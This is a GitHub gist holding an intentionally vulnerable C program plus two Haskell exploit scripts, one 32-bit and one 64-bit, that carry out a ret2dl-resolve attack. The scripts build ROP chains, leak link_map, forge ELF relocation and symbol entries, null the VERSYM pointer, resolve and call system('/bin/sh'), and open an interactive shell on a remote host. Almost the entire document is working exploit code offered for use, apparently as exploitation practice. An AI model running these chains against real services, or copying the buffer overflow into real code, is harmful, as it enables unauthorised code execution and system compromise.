Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Last active November 5, 2019 00:33
Show Gist options
  • Save Tosainu/b811168a23a6890bcd2dd82b448b2ee6 to your computer and use it in GitHub Desktop.
Save Tosainu/b811168a23a6890bcd2dd82b448b2ee6 to your computer and use it in GitHub Desktop.
#include <unistd.h>
int main() {
char buf[0x100];
read(0, buf, 0x800);
write(1, buf, 0x800);
}
name: exploit
version: 0.1.0.0
build-type: Simple
cabal-version: >=1.10
executable exploit
main-is: exploit.hs
default-language: Haskell2010
build-depends: base >= 4.7 && < 5
, bytestring
, pwn
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
{-# LANGUAGE OverloadedStrings #-}
import Control.Concurrent (threadDelay)
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
import Numeric (showHex)
-- https://github.com/Tosainu/pwn.hs
import Pwn
main :: IO ()
main = do
-- r <- process "./dl_resolve_test" []
r <- remote "192.168.122.10" 4000
-- $ gdb dl_resolve_test
-- 0x41332541 in ?? ()
-- gdb-peda$ patto 0x41332541
-- 1093870913 found at offset: 268
let eip_offset = 268
bss = 0x08049708
plt = 0x080482e0
relplt = 0x08048290
dynsym = 0x080481ac
dynstr = 0x0804820c
read_plt = 0x080482f0
write_plt = 0x08048320
write_got = 0x080496fc
link_map_ptr = 0x080496e8 -- 0x080482e0 ff35e8960408 push dword [0x80496e8]
pop3ret = 0x080484dd -- 0x080484dd: pop esi ; pop edi ; pop ebp ; ret ; (1 found)
pop_ebp_ret = 0x080484df -- 0x080484df: pop ebp ; ret ; (1 found)
leave_ret = 0x08048398 -- 0x08048398: leave ; ret ; (3 found)
let base_stage = bss + 0x800
buf1 = BS.concat $ catMaybes
[ Just $ BS.replicate eip_offset 'A'
, p32 write_plt -- write@plt(1, link_map_ptr, 4)
, p32 pop3ret
, p32 1
, p32 link_map_ptr
, p32 4
, p32 read_plt -- read@plt(0, base_stage, 0x100)
, p32 pop3ret
, p32 0
, p32 base_stage
, p32 0x100
, p32 pop_ebp_ret -- stack pivotting
, p32 base_stage
, p32 leave_ret
]
send r buf1
threadDelay 10000
recvn r 0x800
threadDelay 10000
info "leak infomations"
leak <- recvn r 4
let Just link_map = u32 leak
link_map_0xe4 = link_map + 0xe4
success $ "link_map: 0x" <> showHex link_map ""
success $ "link_map->l_info[VERSYMIDX (DT_VERSYM)]: 0x" <> showHex link_map_0xe4 ""
threadDelay 10000
let cmd = "/bin/sh\x00"
cmd_addr = base_stage + 0x70
buf2' = BS.concat $ catMaybes
[ Just $ BS.replicate 4 'A' -- for leave_ret gadget
, p32 read_plt -- read@plt(0, link_map_0xe4, 4)
, p32 pop3ret
, p32 0
, p32 link_map_0xe4
, p32 4
, p32 plt -- resolving system() address and call it
, p32 reloc_offset
, Just $ BS.replicate 4 'A'
, p32 cmd_addr
]
-- Elf32_Rel
elf32_rel = base_stage + 0x30
elf32_rel_size = 0x08
reloc_offset = elf32_rel - relplt
r_info = ((elf32_sym - dynsym) `shiftL` 4) .&. complement 0xff .|. 0x07
fake_rel = BS.concat $ catMaybes
[ p32 write_got -- r_offset
, p32 r_info -- r_info
]
-- Elf32_Sym
elf32_sym' = elf32_rel + elf32_rel_size
elf32_sym_align = 0x10 - ((elf32_sym' - dynsym) .&. 0xf)
elf32_sym = elf32_sym' + elf32_sym_align
elf32_sym_size = 0x10
st_name = elf32_sym + elf32_sym_size - dynstr
fake_sym = BS.concat $ catMaybes
[ p32 st_name -- st_name
, p32 0x00 -- st_value
, p32 0x00 -- st_size
, p32 0x12 -- st_info
, Just "system\x00"
]
buf2 = BS.concat
[ buf2'
, BS.replicate (fromIntegral $ elf32_rel - base_stage - fromIntegral (BS.length buf2')) 'a'
, fake_rel
, BS.replicate (fromIntegral elf32_sym_align) 'b'
, fake_sym
, BS.replicate (fromIntegral $ cmd_addr - elf32_sym - fromIntegral (BS.length fake_sym)) 'c'
, cmd
]
info $ "fake Elf32_Rel: 0x" <> showHex elf32_rel ""
putStrLn $ " r_offset: 0x" <> showHex write_got "\n" <>
" r_info: 0x" <> showHex r_info ""
info $ "fake Elf32_Sym: 0x" <> showHex elf32_sym ""
putStrLn $ " st_name: 0x" <> showHex st_name "\n" <>
" st_info: 0x12"
send r buf2
threadDelay 10000
info "overwrite link_map->l_info[VERSYMIDX (DT_VERSYM)] to NULL"
send r $ BS.replicate 4 '\x00'
threadDelay 10000
interactive r
#!/usr/bin/env stack
-- stack --stack-yaml ./stack.yaml runghc --package pwn
{-# LANGUAGE OverloadedStrings #-}
import Control.Concurrent (threadDelay)
import Data.Bits
import qualified Data.ByteString.Char8 as BS
import Data.Maybe
import Data.Monoid ((<>))
import Numeric (showHex)
-- https://github.com/Tosainu/pwn.hs
import Pwn
main :: IO ()
main = do
-- r <- process "./dl_resolve_test_x86_64" []
r <- remote "192.168.122.10" 4000
-- Stopped reason: SIGSEGV
-- 0x000000000040057b in main ()
-- gdb-peda$ x/gx $rsp
-- 0x7fffffffdfb8: 0x4133254164254148
-- gdb-peda$ patto 0x4133254164254148
-- 4698139799060824392 found at offset: 264
let rip_offset = 264
bss = 0x00600968
plt = 0x00400400
relaplt = 0x00400380
dynsym = 0x00400280
dynstr = 0x004002f8
read_plt = 0x00400420
read_got = 0x00600940
write_plt = 0x00400410
write_got = 0x00600938
link_map_ptr = 0x00600928 -- 0x00400400 ff3522052000 push qword [0x00600928]
ret = 0x004003f9 -- 0x004003f9: ret ; (9 found)
leave_ret = 0x0040057a -- 0x0040057a: leave ; ret ; (1 found)
-- ┌─> 0x004005c0 4c89ea mov rdx, r13
-- | 0x004005c3 4c89f6 mov rsi, r14
-- | 0x004005c6 4489ff mov edi, r15d
-- | 0x004005c9 41ff14dc call qword [r12 + rbx*8]
-- | 0x004005cd 4883c301 add rbx, 1
-- | 0x004005d1 4839eb cmp rbx, rbp
-- └─< 0x004005d4 75ea jne 0x4005c0
-- ; JMP XREF from 0x004005b6 (sym.__libc_csu_init)
-- 0x004005d6 4883c408 add rsp, 8
-- 0x004005da 5b pop rbx
-- 0x004005db 5d pop rbp
-- 0x004005dc 415c pop r12
-- 0x004005de 415d pop r13
-- 0x004005e0 415e pop r14
-- 0x004005e2 415f pop r15
-- 0x004005e4 c3 ret
__libc_csu_init_0x40 = 0x004005c0
__libc_csu_init_0x5a = 0x004005da
-- let base_stage = bss + 0x800
let base_stage = bss - 0x400
buf1 = BS.concat $ catMaybes
[ Just $ BS.replicate rip_offset 'A'
-- write@plt(1, link_map_ptr, 8)
, p64 __libc_csu_init_0x5a
, p64 0x0 -- rbx
, p64 0x1 -- rbp
, p64 write_got -- r12 -> call [r12]
, p64 0x8 -- r13 -> rdx
, p64 link_map_ptr -- r14 -> rsi
, p64 0x1 -- r15 -> edi
, p64 __libc_csu_init_0x40
, Just $ BS.replicate 8 'A' -- add rsp, 8
-- read@plt(0, base_stage, 0x200)
, p64 0x0 -- rbx
, p64 0x1 -- rbp
, p64 read_got -- r12 -> call [r12]
, p64 0x200 -- r13 -> rdx
, p64 base_stage -- r14 -> rsi
, p64 0x0 -- r15 -> edi
, p64 __libc_csu_init_0x40
, Just $ BS.replicate 8 'A' -- add rsp, 8
-- set $rdx and $edi
, p64 0x0 -- rbx
, p64 0x1 -- rbp
, p64 base_stage -- r12 -> call [r12]
, p64 0x8 -- r13 -> rdx
, p64 0x0 -- r14 -> rsi
, p64 0x1 -- r15 -> edi
, p64 __libc_csu_init_0x40
, Just $ BS.replicate 8 'A' -- add rsp, 8
-- stack pivotting
, p64 0x0 -- rbx
, p64 base_stage -- rbp
, p64 0x0 -- r12
, p64 0x0 -- r13
, p64 0x0 -- r14
, p64 0x0 -- r15
, p64 leave_ret
]
send r buf1
threadDelay 10000
recvn r 0x800
threadDelay 10000
info "leak infomations"
leak <- recvn r 8
-- 0x7f3039ad8b01 <_dl_fixup+97>: mov rax,QWORD PTR [r10+0x1c8]
-- 0x7f3039ad8b08 <_dl_fixup+104>: xor r8d,r8d
-- 0x7f3039ad8b0b <_dl_fixup+107>: test rax,rax
-- => 0x7f3039ad8b0e <_dl_fixup+110>: je 0x7f3039ad8b3c <_dl_fixup+156>
let Just link_map = u64 leak
link_map_0x1c8 = link_map + 0x1c8
success $ "link_map: 0x" <> showHex link_map ""
success $ "link_map->l_info[VERSYMIDX (DT_VERSYM)]: 0x" <> showHex link_map_0x1c8 ""
threadDelay 10000
let cmd = "/bin/sh\x00"
cmd_addr = base_stage + 0x150
buf2' = BS.concat $ catMaybes
[ p64 ret -- for call [r12], leave_ret gadget
-- read@plt(0, link_map_0x1c8, 8)
, p64 __libc_csu_init_0x5a
, p64 0x0 -- rbx
, p64 0x1 -- rbp
, p64 read_got -- r12 -> call [r12]
, p64 0x8 -- r13 -> rdx
, p64 link_map_0x1c8 -- r14 -> rsi
, p64 0x0 -- r15 -> edi
, p64 __libc_csu_init_0x40
, Just $ BS.replicate 8 'A' -- add rsp, 8
-- set $rdx, $rsi and $edi
, p64 0x0 -- rbx
, p64 0x1 -- rbp
, p64 base_stage -- r12 -> call [r12]
, p64 0x0 -- r13 -> rdx
, p64 0x0 -- r14 -> rsi
, p64 cmd_addr -- r15 -> edi
, p64 __libc_csu_init_0x40
, Just $ BS.replicate 8 'A' -- add rsp, 8
-- resolving system() address and call it
, p64 0x0 -- rbx
, p64 0x0 -- rbp
, p64 0x0 -- r12
, p64 0x0 -- r13
, p64 0x0 -- r14
, p64 0x0 -- r15
, p64 plt
, p64 reloc_index
, Just $ BS.replicate 8 'A'
]
-- elf64_rela
elf64_rela' = base_stage + 0x100
elf64_rela_align = elf64_rela_size - ((elf64_rela' - relaplt) `mod` elf64_rela_size)
elf64_rela = elf64_rela' + elf64_rela_align
elf64_rela_size = 0x18
reloc_index = (elf64_rela - relaplt) `quot` elf64_rela_size
r_info = (shiftL ((elf64_sym - dynsym) `quot` elf64_sym_size) 32) .|. 0x07
fake_rela = BS.concat $ catMaybes
[ p64 write_got -- r_offset
, p64 r_info -- r_info
, p64 0x0 -- r_addend
]
-- Elf64_Sym
elf64_sym' = elf64_rela + elf64_rela_size
elf64_sym_align = elf64_sym_size - ((elf64_sym' - dynsym) `mod` elf64_sym_size)
elf64_sym = elf64_sym' + elf64_sym_align
elf64_sym_size = 0x18
st_name = elf64_sym + elf64_sym_size - dynstr
fake_sym = BS.concat $ catMaybes
[ p32 $ fromIntegral st_name -- st_name
, p32 0x12 -- st_info
, p64 0x0
, p64 0x0
, Just "system\x00"
]
buf2 = BS.concat
[ buf2'
, BS.replicate (fromIntegral $ elf64_rela - base_stage - fromIntegral (BS.length buf2')) 'a'
, fake_rela
, BS.replicate (fromIntegral elf64_sym_align) 'b'
, fake_sym
, BS.replicate (fromIntegral $ cmd_addr - elf64_sym - fromIntegral (BS.length fake_sym)) 'c'
, cmd
]
info $ "fake Elf64_rela: 0x" <> showHex elf64_rela ""
putStrLn $ " r_offset: 0x" <> showHex write_got "\n" <>
" r_info: 0x" <> showHex r_info ""
info $ "fake Elf64_Sym: 0x" <> showHex elf64_sym ""
putStrLn $ " st_name: 0x" <> showHex st_name "\n" <>
" st_info: 0x12"
sendline r buf2
threadDelay 10000
info "overwrite link_map->l_info[VERSYMIDX (DT_VERSYM)] to NULL"
sendline r $ BS.replicate 8 '\x00'
threadDelay 10000
interactive r
resolver: lts-9.1
packages:
- .
- location:
git: git@github.com:Tosainu/pwn.hs.git
commit: 02620e24362ab4a9531925fa1a0d0524c2000c63
extra-dep: true
extra-deps: []
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment